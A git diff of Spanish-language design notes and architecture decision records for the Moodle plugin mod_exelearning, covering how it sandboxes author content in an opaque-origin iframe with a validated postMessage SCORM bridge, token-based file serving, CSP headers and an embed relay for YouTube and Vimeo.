+- Marco: el peligro es JS de autor en el **mismo origen** que la sesión LMS. Mitigación = origen opaco
+  + CSP `sandbox` en la respuesta + bridge `postMessage` validado por **identidad de ventana** (no por
+  `event.origin`, contrastando con el origen-trust **roto de H5P**), `:297`.
+- Vídeo (`:295,299,303`): promote-to-parent + SOP; invariante **sin allowlist** `https+cross-origin`
+  cubre YouTube/Vimeo/Dailymotion; modo estricto y **oEmbed server-side** como alternativas
+  conservadoras. Variante fachada+modal citada como más simple, mismo modelo.
+- Defensa en profundidad: CSP de respuesta `connect-src 'self'` (cierra exfil), `object-src 'none'`,
+  `frame-ancestors 'self'`; residuo acotado = pixel GET que exfiltra el token de fichero de **sólo
+  lectura** (no el `sesskey`) vía `img/media/frame-src https:`; perfil CSP estricto opcional lo cierra.
+
+## Comparativa por dimensiones
+
+| Dimensión | mod_exelearning | procomún | eXeLearning | El paper |
+|---|---|---|---|---|
+| **Rol / capa** | Consumidor (player) | Consumidor (player) | Productor (export) | Principio (SoK) |
+| **UI de reproducción** | Overlay **inline** (geometría sincronizada) | Click→**modal** | Click→**modal `<dialog>`** | Ambas; recomienda modal por simple |
+| **Qué cruza el límite** | URL absoluta + geometría (ambas no confiadas) | URL absoluta + geometría | **Sólo `{provider, videoId}`** | URL (no confiada) |
+| **Auth del mensaje** | Identidad de ventana + exclusión de players (D2) | Identidad de ventana | Identidad de ventana + **nonce + MessagePort** | Identidad de ventana |
+| **Sandbox del player** | **Lo impone el consumidor** (sin top-nav/modals) | Lo impone el consumidor | **Lo impone el host** (productor no puede) | Lo impone el host |
+| **YouTube** | OPEN verbatim / STRICT → nocookie | → nocookie | → nocookie (sólo id) | nocookie/allowlist o invariante |
+| **Vimeo** | STRICT → `player.vimeo/video/{id}` | **Sin canonicalización** | → `player.vimeo/video/{id}` (sólo id) | igual que YouTube |
+| **interactive-video** | **Roto** (puente revertido) | Roto | **Funciona** (único) | Sacrificado por aislamiento |
+| **Guardas extra** | **D1 redirect-guard, D2, clamp** | — | nonce + port + enum cerrado | CSP respuesta |
+| **Complejidad** | Alta (mejor validada) | **Baja** | Media (si controlas el productor) | n/a |
+| **Validación** | Vitest + e2e Firefox opaco + anti-drift | menor | runtime propio | adversarial 7/7 (Chromium) |
+
+## [INTERPRETACION] — ¿Qué es mejor?
+
+«Mejor» **depende del rol**, y comparar de frente confunde un **diseño de canal** (eXeLearning) con un
+**sandbox impuesto** (mod/procomún):
+
+- Como **host de Moodle que recibe paquetes de autores arbitrarios**, lo correcto es que **el player
+  imponga su propio sandbox** sin depender de que el paquete coopere. Ahí **mod_exelearning es la
+  referencia**: es el mejor diseño para defender contenido arbitrario, impone el sandbox que el productor
+  no puede, y es el mejor validado. procomún es el mismo modelo más simple pero con menos defensa.
+- El **canal** de eXeLearning es **superior** (sólo cruza un id, reconstrucción desde plantilla, nonce +
+  MessagePort): elimina toda la clase de **URL-laundering** que mod cubre con D1. Conviene **adoptar esa
+  disciplina** para proveedores reconocidos, manteniendo D1 como cinturón para el camino genérico OPEN.
+- La **fidelidad** se reparte: eXeLearning es el único que conserva **interactive-video**; mod tiene la
+  mejor fidelidad **visual** (inline). No son excluyentes: mod aporta el **sandbox impuesto**,
+  eXeLearning aporta la **fidelidad de cue-points** — son **complementarios**.
+
+## Recomendación para mod_exelearning
+
+1. **Mantener** el relay promote-to-parent (`js/exe_embed_relay.js`) como **frontera de seguridad
+   canónica** para YouTube/Vimeo: es el diseño correcto para un host y el mejor validado.
+2. **Estrechar el canal** adoptando la disciplina de eXeLearning «cruza sólo `{provider, videoId}` y
+   reconstruye en el padre desde plantilla fija» para los proveedores reconocidos (reduce la superficie
+   a validar la forma del id y elimina la clase URL-laundering). **Mantener D1** para el camino genérico
+   OPEN.
+3. **interactive-video:** NO re-bridgear el control de YouTube dentro de mod (se revirtió por frágil).
+   En su lugar, cuando el paquete venga de eXeLearning actual, dejar que **el propio bridge de
+   eXeLearning** (`exe_media_bridge.js` + un `exe-media-host.js` vendorizado) maneje los cue-points
+   —el único enfoque que preserva el timing bajo origen opaco— **pero** con el relay de mod imponiendo
+   el sandbox/CSP del player que eXeLearning no puede imponer. Complementarios.
+4. **Vimeo:** añadir/confirmar la rama de canonicalización (procomún carece de ella) para paridad de
+   privacidad (`player.vimeo.com/video/{id}`).
+5. **Despliegues de alta seguridad:** ofrecer el **perfil CSP estricto opcional** del paper (§6.3) que
+   cierra el residuo de exfil por pixel GET del token de sólo lectura (off por defecto para no romper
+   imágenes externas/MathJax/CDN).
+
+## Actualización (2026-06-28): marco de los dos problemas + decisión ([[DEC-80-06]] + [[DEC-80-07]])
+
+**Dos problemas ortogonales (no confundir).** Esta nota cubre bien el **Problema A** (propagación del
+sandbox → player en blanco → promote-to-parent). Conviene añadir explícitamente el **Problema B —
+Error 153 / referrer**, **independiente** del sandbox: ocurre incluso en embebido normal cuando el host
+envía `Referrer-Policy: no-referrer`/`same-origin` y el player no lleva `referrerpolicy`. Lo arregla el
+**atributo `referrerpolicy`** (precedencia element-level sobre la cabecera). Caso real (red Medusa,
+Humberto ATE): la infra fijaba `no-referrer` **y Jetpack eliminaba el atributo**. mod ya pone
+`strict-origin-when-cross-origin` en el player (`DEC-80-03:69-70`), así que resuelve A **y** B; el vídeo
+simple **ya se ve** en opaco. `referrerpolicy` **no** sustituye al promote-to-parent (no arregla A).
+
+**Decisión tomada (cierra el `[PENDIENTE]` #1 de abajo).** El usuario eligió **mantener el overlay
+inline** de mod (no migrar a modal) y **endurecer** el trust model (nonce + `MessageChannel`, cruzar
+sólo `{provider, videoId}`), y **arreglar el vídeo interactivo modificando el iDevice** de eXeLearning
+(autorizado). Registrado en **[[DEC-80-07]]**. Matiz respecto a la recomendación #3 de esta nota: en vez
+de delegar los cue-points al **modal** del bridge de eXe, el iDevice (modificado) conduce el control por
+el bridge endurecido mientras el **overlay mantiene el player en la geometría del `#player`** → la layout
+queda en el hijo, sin la reconstrucción en el padre que hizo frágil el prototipo revertido. El
+teacher-mode pasó a `?exe-teacher` ([[DEC-80-06]]), lo que desbloqueó reanudar este trabajo en opaco.
+
+## [PENDIENTE]
+
+- ~~ADR de seguimiento si se decide la integración complementaria con el bridge productor de eXeLearning
+  para interactive-video~~ → **decidido en [[DEC-80-07]]** (overlay inline endurecido + arreglo del vídeo
+  interactivo en el iDevice; el sandbox lo sigue imponiendo mod).
+- Toggle CSP estricto (cierre del residuo de confidencialidad; eco de `anexos-tecnicos.md:181`).
+- Validación cross-engine del **camino de promoción de embeds** específicamente (el aislamiento opaco se
+  confirmó en 3 motores; el e2e de promoción es Firefox/Chromium).
+- procomún: cerrar la **UI muerta** de thumbnails y el **PDF sin sandbox** si se toma como referencia.
diff --git a/research/decisiones/adr/DEC-36-01-inyecciones-scorm-teacher-mode-plugin-vs-upstream.md b/research/decisiones/adr/DEC-36-01-inyecciones-scorm-teacher-mode-plugin-vs-upstream.md
index afaae52..17fd609 100644
--- a/research/decisiones/adr/DEC-36-01-inyecciones-scorm-teacher-mode-plugin-vs-upstream.md
+++ b/research/decisiones/adr/DEC-36-01-inyecciones-scorm-teacher-mode-plugin-vs-upstream.md
@@ -11,7 +11,7 @@ deciders:
 sources:
   - REPO-004
 related:
-  adrs: [DEC-34-02, DEC-13-11, DEC-17-01, DEC-0-16]
+  adrs: [DEC-80-06, DEC-34-02, DEC-13-11, DEC-17-01, DEC-0-16]
 ai_assistance:
   tool: claude-code
   model: claude-fable-5
@@ -19,6 +19,12 @@ ai_assistance:
 
 # DEC-36-01: Inyecciones SCORM-loader y teacher-mode: corrección en el plugin vs upstream en eXeLearning
 
+> **Superseded-in-part (2026-06-28).** La inyección **#2 (teacher-mode hider)** descrita aquí es ya
+> **histórica**: la función `exelearning_require_teacher_mode_hider()` se **eliminó** (PR 86) y el
+> teacher-mode se revela por el **parámetro core `?exe-teacher`**, compatible con origen opaco y sin
+> mutar el paquete — ver **[[DEC-80-06]]**. La inyección **#1 (SCORM-loader)** y el resto del análisis
+> de esta entrada siguen vigentes salvo donde [[DEC-80-01]]/[[DEC-80-02]]/[[DEC-34-02]] los cubran.
+
 ## Contexto
 
 El informe técnico comparativo (mod_exescorm / mod_exeweb / mod_exelearning) marca como
diff --git a/research/decisiones/adr/DEC-80-01-bridge-scorm-postmessage-origen-opaco.md b/research/decisiones/adr/DEC-80-01-bridge-scorm-postmessage-origen-opaco.md
new file mode 100644
index 0000000..c84ee3d
--- /dev/null
+++ b/research/decisiones/adr/DEC-80-01-bridge-scorm-postmessage-origen-opaco.md
@@ -0,0 +1,234 @@
+---
+id: DEC-80-01
+title: "Bridge SCORM por postMessage + iframe de origen opaco (modo seguro configurable): implementación de RIE-001 Tier 2"
+status: Accepted
+date: 2026-06-13
+tracking_issue: 80
+legacy_id: DEC-0059
+deciders:
+  - erseco
+  - claude-code
+sources:
+  - REPO-002
+  - REPO-004
+  - REPO-005
+experiments: []
+related:
+  adrs: [DEC-0-16, DEC-5-01, DEC-13-11]
+see_also:
+  - RIE-001
+  - AN-008
+  - TAREA-017
+ai_assistance:
+  tool: claude-code
+  model: claude-opus-4-8
+---
+
+# DEC-80-01: Bridge SCORM por postMessage + iframe de origen opaco (modo seguro configurable): implementación de RIE-001 Tier 2
+
+## Contexto
+
+`DEC-0-16` cerró la investigación de RIE-001 (XSS cross-component desde un `.elpx`
+malicioso) y dejó dos tiers documentados pero **sin implementar por decisión del
+usuario**. Su roadmap fijaba explícitamente que el aislamiento real (Tier 2) iría en
+**"su propio ADR"**: `M6 — reescribir el bridge a postMessage → M7 — origen opaco`.
+
+Esta ADR es ese ADR. El usuario priorizó implementar el **bridge seguro** completo
+(no sólo el endurecimiento Tier 1), configurable y con valor por defecto seguro, tras
+confirmar que es la única alternativa que cumple los objetivos de aislamiento (el
+contenido NO puede leer ni modificar el DOM/cookies/sesión/JS del marco padre de
+Moodle). **No supersede a DEC-0-16**: la implementa/avanza.
+
+El problema de fondo (ya documentado en DEC-0-16) es que el SCORM era 100%
+same-origin, con **tres dependencias duras** que hacían que quitar `allow-same-origin`
+matase el tracking en silencio:
+
+1. el **padre** inyectaba `window.API` y el hijo (pipwerks) lo buscaba recorriendo
+   `window.parent`;
+2. el **padre** leía `iframe.contentDocument` para mapear el `objectid` de cada
+   iDevice (DEC-5-01);
+3. el **teacher-mode hider** inyectaba `<style>` en el `contentDocument`.
+
+## Problema
+
+¿Cómo aislar el contenido `.elpx` (HTML/JS arbitrario del autor) del marco Moodle
+**sin romper** el scoring SCORM ni la detección por `objectid`, dentro del modelo de
+Moodle (un único `$CFG->wwwroot`, sin origen separado en core), de forma configurable
+y compatible hacia atrás?
+
+## Hechos verificados (con cita)
+
+1. **El pipwerks empaquetado descubre el `window.API` de su PROPIA ventana antes de
+   subir al padre.** `assets/scorm/SCORM_API_wrapper.js:71-106`: en `find(win)` el
+   bucle `while ((!win.API && !win.API_1484_11) && win.parent && win.parent != win)`
+   parte de `win = window`; si `window.API` existe en el iframe, el bucle no se
+   ejecuta y devuelve el API local. → **Inyectar el shim `window.API` DENTRO del
+   iframe hace que pipwerks lo use sin tocar el padre.** Es el linchpin que vuelve
+   viable el origen opaco.
+2. **`LMSGetValue` ya responde de una caché `cmi{}` local** (`js/scorm_tracker.js`,
+   `LMSGetValue: function (k) { return cmi[k] || ''; }`). El contrato síncrono de
+   pipwerks se satisface sin red, así que un relevo **asíncrono por `postMessage`**
+   para las escrituras (`LMSSetValue`/`Commit`/`Finish`) es suficiente; no hace falta
+   round-trip síncrono al padre.
+3. **El almacenamiento web lanza `SecurityError` en un documento de origen opaco**, y
+   el motor exportado de eXeLearning lo usa de forma incondicional en código que viaja
+   en TODO export: `public/libs/exe_atools/exe_atools.js` (barra de accesibilidad),
+   `public/app/common/exe_export.js`, el iDevice `checklist`
+   (`.../checklist/export/checklist.js`) y `edicuatex`. Sus guardas `typeof
+   localStorage` NO protegen (en origen opaco el acceso al getter, no el `typeof`,
+   es lo que lanza). → **El shim debe instalar un polyfill de `localStorage`/
+   `sessionStorage` en memoria** antes de que corra el contenido, o esos scripts
+   rompen. (Verificación de uso: `rg "localStorage|sessionStorage"` sobre
+   `/Users/ernesto/Downloads/git/exelearning`.)
+4. **Comparación con core (re-verificada, coherente con DEC-0-16):**
+   - `core_h5p` valida `postMessage` por `event.source === window.parent` + un token
+     de contexto (`event.data.context === 'h5p'`), pero **sin** validar `event.origin`
+     y con contenido **curado** (`public/h5p/js/embed.js:38-46`). Patrón de
+     acción/contexto reutilizable, modelo de amenaza distinto.
+   - `mod_scorm`: iframe **sin `sandbox`**, mismo origen, el SCO recorre `window.parent`
+     (`public/mod/scorm/player.php`, `loadSCO.php` findAPI). Más débil.
+   - `mod_lti`: usa `allow=` (Permissions-Policy) + `X-Frame-Options`, no `sandbox`.
+   - SimplePie es el **único** uso de `sandbox` en core (`allow-scripts
+     allow-same-origin` para feeds). → **No existe precedente en core de un iframe
+     sandbox de origen opaco con bridge**; se adopta el patrón de **identidad de
+     ventana** de `wp-franer` (iframe sin `allow-same-origin`, validación por
+     `event.source === iframe.contentWindow`, credenciales sólo en el padre) más la
+     **lista cerrada de acciones + token de contexto** estilo H5P.
+
+## Opciones consideradas
+
+1. **A — No hacer nada (statu quo).** Mantiene RIE-001 abierto; no cumple los
+   objetivos. Rechazada.
+2. **B — Sólo `sandbox="allow-scripts"` (sin same-origin) sin bridge.** Rompe el
+   tracking (las 3 dependencias lanzan `SecurityError`). Inviable sin M6.
+3. **C — Bridge `postMessage` + origen opaco (M6+M7 Route A).** Elegida.
+4. **D — Configurable (modo global) sobre C.** Adoptada como parte de C: ajuste
+   `iframemode` (secure|legacy), default secure.
+5. **E — Origen separado / subdominio (M7 Route B) o CSP de red completa (M3).**
+   Route B requiere infra fuera de core (descartada para esta issue); M3 queda como
+   follow-up opcional complementario, no bloqueante.
+
+## Decisión
+
+Implementar **C + D**: bridge SCORM por `postMessage` con el iframe en **origen
+opaco**, **configurable** mediante un único ajuste global de administración
+`mod_exelearning/iframemode` (`secure` por defecto | `legacy` de respaldo). Sin campo
+por actividad (no se toca BD/upgrade/backup).
+
+### Arquitectura
+
+- **`\mod_exelearning\local\ui\player_iframe`** (`classes/local/ui/player_iframe.php`):
+  resuelve el modo (fail-safe a `secure` ante valor inválido) y centraliza la lista de
+  tokens del `sandbox` por modo (testeable sin renderizar `view.php`).
+- **Modo `secure`** (`view.php`): el `sandbox` es `allow-scripts allow-popups
+  allow-forms` (sin `allow-same-origin` ni `allow-popups-to-escape-sandbox`; sigue sin
+  `allow-top-navigation` ni `allow-modals`). El padre NO inyecta `window.API`; inyecta
+  inline el **relevo** `js/scorm_bridge_relay.js` y le pasa `{iframeid, cmid, trackurl
+  (con sesskey+mode), session, nonce, teachermodevisible}`. El `sesskey` NUNCA cruza el
+  bridge.
+- **Shim en el iframe** (`js/scorm_bridge_shim.js`, copiado a `libs/exe_scorm_bridge.js`
+  e inyectado al inicio de `<head>` por `scorm_injector`): se autoactiva sólo en origen
+  opaco (`window.origin === 'null'`), instala el polyfill de storage, define
+  `window.API` local reutilizando `js/scorm_tracker.js` (con la nueva opción
+  `transport`), resuelve `objectid` de SU propio documento y postMessea los deltas al
+  padre. Oculta el teacher-mode localmente con el flag del handshake.
+- **`js/scorm_tracker.js`**: nueva opción `transport(data, sync)` que, cuando está
+  presente, sustituye al XHR directo (el modo legacy y los tests siguen usando el XHR).
+- **Modo `legacy`**: idéntico a hoy (same-origin, `window.API` en el padre, hider por
+  `contentDocument`). El shim baked queda dormido (origen no opaco).
+- **Permissions-Policy** (DEC-0-16 M2, limpio): se mantiene como follow-up recomendado
+  para `exelearning_pluginfile()` (no incluido aún en este cambio para acotar el PR).
+
+### Protocolo del bridge
+
+```
+hijo→padre:  { exelearningBridge:<nonce>, type:'scorm', action:'ready'|'track',
+               cmi:{...}, itemscores:{ <objectid>:{scorepct,weighted,title} } }
+padre→hijo:  { exelearningBridge:<nonce>, type:'scorm', action:'config'|'ack',
+               teachermodevisible:0|1 }
+```
+
+Handshake: el iframe carga → el shim postMessea `ready` → el padre valida
+`event.source === iframe.contentWindow`, responde `config` con el `nonce` + el flag de
+teacher-mode → los `track` posteriores llevan el `nonce` y el padre revalida `source`.
+Validación del padre (defensa en profundidad; `track.php` revalida y clampa
+server-side): identidad de ventana (ancla primaria) + `type==='scorm'` + `action` en
+lista cerrada + `nonce` + forma del payload (`cmi` objeto). Mensajes desconocidos o
+inválidos se ignoran en silencio. El flush al cerrar pestaña lo hace el **padre** con
+`navigator.sendBeacon` en `pagehide` (same-origin, fiable), no un XHR síncrono.
+
+## Consecuencias
+
+- **Positivas:** RIE-001 pasa a `mitigado` por defecto. El contenido no puede leer
+  `parent.document`/`document.cookie`/sesión ni forjar peticiones con el `sesskey`
+  (que se queda en el padre). El ruteo por `objectid` (DEC-5-01) y el guard de
+  form/scrambled (DEC-13-11) se preservan. El flush por `sendBeacon` es más fiable que
+  el XHR síncrono en `beforeunload`.
+- **Negativas / coste:** mayor superficie JS (shim + relevo, ambos con tests Vitest);
+  el almacenamiento web del contenido pasa a ser por-sesión (no persiste entre
+  recargas) en modo seguro; al quitar `allow-popups-to-escape-sandbox` se pierde el
+  `window.print()` del popup de la rúbrica (regresión conocida de DEC-0-16 M1). El
+  modo `legacy` cubre cualquier paquete que falle bajo origen opaco.
+- **Cambios que dispara:** RIE-001 → `mitigado`; abre TAREA-017 (implementación) y deja
+  como follow-up opcional M2 (Permissions-Policy) y M3 (CSP de red con toggle).
+
+## Riesgos
+
+- **RIE-001** — pasa a `mitigado` (modo seguro por defecto). Residuo aceptado:
+  organizaciones que activen `legacy` por compatibilidad vuelven al riesgo same-origin.
+- **Compatibilidad de origen opaco:** verificar en Chrome y Firefox reales que el
+  polyfill (`Object.defineProperty(window,'localStorage',…)`) sustituye el getter
+  nativo (la configurabilidad varía entre motores; el shim degrada con try/catch).
+- **Behat de grading `@javascript`:** el escenario que usa `window.API.LMSSetValue`
+  asume el API en el padre; en `secure` vive en el iframe → adaptar o apoyarse en el
+  paso server-side `the following eXeLearning SCORM scores exist` (mode-agnóstico).
+
+## Limitación conocida (entornos PHP-WASM / service worker)
+
+Los playgrounds PHP-WASM (p. ej. el Moodle Playground en GitHub Pages) sirven
+`pluginfile.php` mediante un **service worker**. Un service worker **NO controla
+iframes de origen opaco** (sandbox sin `allow-same-origin`), así que en modo `secure`
+la petición del iframe a `content/<rev>/index.html` no la intercepta el SW, cae al
+hosting estático y devuelve 404 (verificado por HAR: `_fetchedViaServiceWorker:false`,
+`server: GitHub.com`, `x-cache: HIT`). Además ese 404 lo cachea el CDN, así que tras
+un intento en `secure` el modo `legacy` puede seguir mostrando el 404 cacheado en la
+misma pestaña hasta recargar en limpio. **Mitigación:** el `blueprint.json` del
+Playground fuerza `iframemode=legacy`. En un Moodle real `pluginfile.php` es un
+endpoint de servidor y el iframe de origen opaco lo carga con normalidad, así que el
+modo `secure` por defecto funciona; la limitación es exclusiva de los hosts WASM/SW.
+
+## Validación
+
+- `php -l` limpio; **phpcs `--standard=moodle` 0/0** sobre los ficheros tocados.
+- **Vitest 40/40 verde** (`make test-js`): 16 del tracker (sin regresión por
+  `transport`) + 24 nuevos en `tests/js/scorm_bridge.test.js` (shim: polyfill de
+  storage, detección de origen opaco, handshake, cola pre-nonce, identidad de fuente,
+  ocultado teacher-mode; relevo: validadores puros, identidad de ventana, nonce, forma,
+  cuerpo a `track.php`, `sendBeacon`).
+- **PHPUnit** `tests/player_iframe_test.php` (`@covers \mod_exelearning\local\ui\
+  player_iframe`): default secure, fail-safe ante valor inválido, legacy respetado,
+  tokens del sandbox por modo (sin `allow-same-origin`/`allow-top-navigation`/
+  `allow-modals` en secure). Se ejecuta en contenedor/CI (PHPUnit no corre en host).
+- **Behat** (CI): grading e2e en modo secure + escenarios de report (mode-agnósticos).
+
+## Actualización (2026-06-28): teacher-mode por parámetro core + relación con el bridge de medios
+
+- **Teacher-mode ya no depende del bridge.** Esta ADR ocultaba el conmutador de profesor en `secure`
+  con el **flag del handshake** (`teachermodevisible` en `config`, líneas 124/131/145) porque en opaco
+  el padre no puede inyectar CSS. Desde [[DEC-80-06]] (PR 86) la **revelación** del contenido de profesor
+  la gobierna el **parámetro core `?exe-teacher`** que viaja en el `src` y el paquete lee desde dentro
+  del iframe — compatible con origen opaco y **sin** inyección. La ocultación vía flag del bridge (y el
+  hider `contentDocument` de legacy) quedan **superseded** para ese fin; el flag puede mantenerse por
+  compatibilidad pero la fuente de verdad es el parámetro de URL.
+- **Dos handshakes distintos.** El bridge **SCORM** de esta ADR (`type:'scorm'`) y el de **medios
+  externos / embeds** ([[DEC-80-03]], `type:'exe-embed'`) son **canales independientes** (no se pisan;
+  tipos de mensaje distintos, relés separados). [[DEC-80-07]] **alinea ambos** al patrón endurecido
+  **nonce por vista + `MessagePort` con capability** (el de SCORM ya usa nonce; el de embeds lo
+  incorporará), y el de xAPI ([[DEC-80-05]]) sigue la misma disciplina de identidad de ventana.
+
+## Seguimiento
+
+- **TAREA-017**: implementación del bridge seguro (esta ADR).
+- Follow-up opcional: **M2** Permissions-Policy y **M3** CSP de red estricta-con-toggle
+  en `exelearning_pluginfile()` (DEC-0-16); **M8** sandboxing de JS en cliente
+  (TAREA-013) sigue pendiente como capa extra.
diff --git a/research/decisiones/adr/DEC-80-02-iframe-seguro-tokenpluginfile.md b/research/decisiones/adr/DEC-80-02-iframe-seguro-tokenpluginfile.md
new file mode 100644
index 0000000..2dbee16
--- /dev/null
+++ b/research/decisiones/adr/DEC-80-02-iframe-seguro-tokenpluginfile.md
@@ -0,0 +1,155 @@
+---
+id: DEC-80-02
+title: "Modo iframe seguro funcional: servir el contenido opaco por tokenpluginfile + CSP + watchdog (corrige la Ruta A de DEC-80-01)"
+status: Accepted
+date: 2026-06-13
+tracking_issue: 80
+legacy_id: DEC-0060
+deciders:
+  - erseco
+  - claude-code
+sources:
+  - REPO-002
+  - REPO-004
+related:
+  adrs: [DEC-80-01, DEC-0-16, DEC-5-01]
+see_also:
+  - RIE-001
+  - AN-008
+ai_assistance:
+  tool: claude-code
+  model: claude-opus-4-8
+---
+
+# DEC-80-02: Modo iframe seguro funcional: servir el contenido opaco por tokenpluginfile + CSP + watchdog (corrige la Ruta A de DEC-80-01)
+
+## Contexto
+
+DEC-80-01 implementó el modo `secure` (iframe de origen opaco + bridge SCORM por
+postMessage) sirviendo el contenido por `pluginfile.php` normal (Ruta A de DEC-0-16).
+La verificación en navegador (Chrome DevTools, Moodle real en `:80`) **refutó esa
+Ruta A**: el `index.html` cargaba pero **todos los subrecursos (CSS/JS, incluido el
+shim) daban 404**, dejando el contenido sin estilos y el SCORM sin `window.API`.
+
+## Problema (causa raíz verificada)
+
+La cookie de sesión de Moodle es **`SameSite=Lax`** por defecto
+(`lib/classes/session/manager.php:513-518`). Un documento de **origen opaco** (iframe
+`sandbox` sin `allow-same-origin`) tiene "site for cookies" nulo, así que **no envía
+la cookie de sesión en sus peticiones de subrecursos**. Como `exelearning_pluginfile()`
+exige `require_login()`, esos subrecursos se rechazan (302/403) → 404 efectivo. El
+`index.html` sí carga porque su navegación la inicia el padre (lleva cookie Lax). →
+**Aislar contenido same-origin autenticado del padre con solo el atributo `sandbox` es
+imposible:** con `allow-same-origin` el contenido alcanza el padre (RIE-001); sin él,
+no carga sus assets. (Por eso el core nunca usa origen opaco para contenido
+autenticado; `wp-franer` puede porque inyecta el contenido inline con `srcdoc`, inviable
+para un paquete eXeLearning multi-fichero.)
+
+## Investigación de alternativas (con evidencia)
+
+| Vía | ¿Aísla del padre? | ¿Carga assets/SCORM? | ¿En-plugin? | Veredicto |
+|---|---|---|---|---|
+| Legacy (same-origin) | No | Sí | Sí | RIE-001 abierto (fuga de sesskey/DOM) |
+| **A · Token + opaco + bridge** | **Sí** | **Sí** | **Sí** | **Elegida** |
+| B · Origen separado (subdominio) | Sí (real) | Sí | No (infra) | Fuera de alcance |
+| C · Sandbox JS en cliente (M8) | — | No (rompe el contenido) | Sí | Inviable |
+
+- **Token (Opción A):** `make_pluginfile_url(..., $includetoken=true)` genera
+  `/tokenpluginfile.php/<token>/…` con `get_user_key('core_files', $userid)`. El token
+  va en la **ruta**, así que los subrecursos relativos del iframe opaco lo arrastran y
+  cargan **sin cookie de sesión**. `tokenpluginfile.php` valida el token
+  (`require_user_key_login('core_files')`) y **sigue ejecutando** las comprobaciones de
+  capacidad del callback (`exelearning_pluginfile` → `require_capability('mod/
+  exelearning:view')`). El token es de **solo lectura de ficheros**: NO da poder de
+  `sesskey` (ni acciones ni forms). **Precedente en core:** el propio H5P usa
+  `includetoken` cuando va embebido (`h5p/classes/player.php:429`). Requiere
+  `slasharguments` (token en ruta); on por defecto.
+- **Origen separado (B):** no hay mecanismo en core; la URL está fijada a
+  `$CFG->wwwroot` (`lib/classes/url.php:747,754`). Exigiría reverse-proxy + un eTLD+1
+  distinto para que la cookie no llegue al contenido. Aislamiento máximo, pero infra
+  fuera del plugin. Documentado como futuro.
+- **M8 (sandbox JS):** inviable. El contenido exportado necesita DOM real + jQuery +
+  Bootstrap + bucle de eventos; ShadowRealm/Worker no tienen DOM y un shim WASM (+100KB)
+  lo haría inmanejable. El único acceso cross-frame es la API SCORM (ya intermediada).
+
+## Decisión
+
+Implementar la **Opción A endurecida** como modo `secure` (default), corrigiendo el
+mecanismo de servido de la Ruta A de DEC-80-01 (el resto de DEC-80-01 —ajuste
+`iframemode`, bridge postMessage, sandbox sin same-origin/popups-to-escape— sigue
+vigente):
+
+1. **Servir el iframe por `tokenpluginfile`** (token `core_files` de **TTL corto**,
+   redondeado a la hora para reutilizarse; `view.php`). Los assets cargan sin cookie;
+   el iframe sigue opaco (el contenido no puede tocar DOM/cookies/sesskey del padre).
+2. **CSP + Permissions-Policy** desde `exelearning_pluginfile()` (solo modo secure,
+   solo el documento HTML; `send_stored_file` no las borra). Endurece sin romper
+   eXeLearning (que necesita inline + eval): `object-src 'none'`, `base-uri 'none'`,
+   `frame-ancestors 'self'`, y `connect-src` acotado a este sitio (corta exfiltración
+   del token por fetch/XHR). `\mod_exelearning\local\ui\player_iframe`.
+3. **NO degradar en silencio a legacy.** Si secure no puede renderizar (slasharguments
+   off, o un host con service worker que no sirve iframes opacos —p. ej. el Playground
+   PHP-WASM), el shim nunca emite `ready` y el **watchdog del relay** muestra el aviso
+   "configuración de seguridad impide mostrar este contenido; contacte al admin"
+   (`securemodeblocked`), en vez de caer a same-origin. El admin elige legacy de forma
+   explícita si lo desea. El watchdog usa **dos señales** para no dejar el aviso detrás
+   de una espera larga en blanco: en cuanto el elemento iframe dispara `load` (que ocurre
+   **también** cuando la navegación acaba en una página de error —el 404 del host con SW—)
+   concede solo una **gracia corta** (~2,5 s) para el handshake; si `load` nunca llega,
+   cae a un tope mayor (8 s). Así el aviso aparece justo tras el fallo de carga, no tras
+   una ventana de varios segundos en la que el contenido "parecía" cargar.
+4. **Self-heal del bridge:** los paquetes extraídos antes de DEC-80-02 no tienen el shim
+   en `libs/`; `view.php` los re-extrae una vez (idempotente) para que secure funcione
+   sin re-subir.
+
+## Consecuencias
+
+- Positivas: el modo seguro **funciona de verdad** en Moodle real (verificado en
+  navegador) y aísla el contenido del padre. RIE-001 mitigado por defecto. El contenido
+  recibe un token de **solo-lectura de ficheros** en vez del `sesskey` → estrictamente
+  más seguro que legacy. No hay degradación silenciosa de seguridad.
+- Negativas / coste: el token (aunque de solo lectura y TTL corto) queda visible en la
+  URL del contenido; el CSP `connect-src` corta su exfiltración por fetch, pero un
+  `<img>/<script>` a `https:` externo podría sacarlo (mitigado por el TTL; un perfil CSP
+  estricto que lo cierre del todo rompería MathJax/YouTube → toggle futuro). El
+  Playground (y cualquier host con SW) **no puede** servir secure y muestra el aviso.
+- Dispara: corrige la Ruta A de DEC-80-01; RIE-001 → mitigado. Futuro: Ruta B
+  (subdominio/infra) para aislamiento máximo; toggle CSP estricto.
+
+## Riesgos
+
+- **RIE-001 — mitigado** (modo seguro por defecto, funcional). Residuo: token de
+  ficheros expuesto al contenido (acotado por CSP + TTL); legacy opt-in reabre el
+  riesgo same-origin.
+- **Compatibilidad:** `slasharguments` debe estar on (default); si no, el watchdog
+  muestra el aviso. Hosts con service worker (Playground) no pueden secure.
+
+## Validación
+
+- **Chrome DevTools en Moodle real (`:80`):** iframe opaco + servido por
+  `tokenpluginfile` (origen `null`, `SecurityError` al leer `contentWindow` desde el
+  padre); CSS/JS cargan; el shim emite `ready`; el relay valida e `init` no lanza;
+  **`track.php` responde `{ok:true, rawscore:100, peritem:{1:100}}`** (guarda la nota);
+  el watchdog NO salta cuando secure funciona y el contenido renderiza con estilos.
+- **Chrome DevTools en el Playground PHP-WASM (confirmación empírica 2026-06-13):** el
+  iframe se construye en secure (sandbox `allow-scripts allow-popups allow-forms`, origen
+  opaco — `SecurityError` al leer `contentWindow`), pero la petición
+  `tokenpluginfile.php/<token>/<ctx>/mod_exelearning/content/1/index.html` devuelve **404**
+  (el service worker no controla subframes opacos, así que la URL cae a GitHub Pages). El
+  shim nunca emite `ready` → el watchdog **sí** muestra el aviso `securemodeblocked` y
+  oculta el iframe. El token **no** ayuda aquí: el bloqueo es el SW, no la cookie. Esto
+  confirma la "Limitación conocida": el Playground no puede servir secure y avisa (no
+  cae a legacy). La sensación de "funciona sin aviso" era el retardo del watchdog (ahora
+  ligado al `load`) más que el aviso quedaba bajo el pliegue.
+- **phpcs `--standard=moodle` 0/0**; **Vitest 52/52** (shim, relay, watchdog —incluida la
+  ruta rápida por `load`—, storage); PHPUnit `player_iframe_test` (modo, tokens sandbox,
+  CSP, Permissions-Policy) en contenedor/CI. PHPUnit/Behat completos en CI.
+
+## Seguimiento
+
